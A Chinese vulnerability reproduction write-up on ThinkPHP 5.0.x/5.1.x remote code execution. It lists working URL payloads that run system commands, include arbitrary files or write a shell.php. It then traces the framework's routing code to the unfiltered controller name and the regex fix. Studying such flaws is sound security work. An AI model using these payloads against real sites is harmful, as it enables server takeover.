影响版本
5.0.x
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> //这个payload我并没有成功
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
本次复现使用payload:
http://127.0.0.1:8000/index.php?s=index/think\request/input?data=whoami&filter=system
thinkphp/library/think/App.php 在run() 方法中有个路由检测方法routeCheck() ,跟进
首先会获取$path 的值,跟进,进入path() 方法 $path 的值为path() 中的$pathinfo() ,而$pathinfo 的值由pathinfo() 获取 跟进pathinfo() ,发现pathinfo 的值就是我们传的s参数的值
然后回到routeCheck() ,判断是否开启强制路由,不开启就是false,开启的话这个漏洞就不存在了 接着继续跟进,进入check() 方法 这里会将/ 替换为| ,然后返回 此时dispatch 的值为index|think\request|input?data=whoami 然后跟进进入init()
进入parseUrl() 方法 其中有个parseUrlPath() 会重新让| 替换为/
然后就是一系列的解析操作,封装后返回
返回到init() ,会创建一个Model对象,再返回到run()
继续跟进
这里会执行exec() 方法,跟进 实例化了一个反射类ReflectionMethod ,ReflectionMethod 类报告了一个方法的有关信息 接着因为url_param_type 默认值是0,所以执行$this->request->param() ,vars 也就成功赋值 接着跟进invokeReflectMethod 方法
绑定参数后通过反射方式调用了input() 方法
跟进input()
最终调用filterValue() 方法,执行里面的call_user_func 并返回,完成了RCE 自此,总算磕磕绊绊复现了一遍,原理其实就是没做好过滤,导致可以调用任意的控制器,官方的修复也很简单,对控制器的名字加了正则,没法再调用任意控制器了
修复
payload有好几种,有空再去看看其他几个
|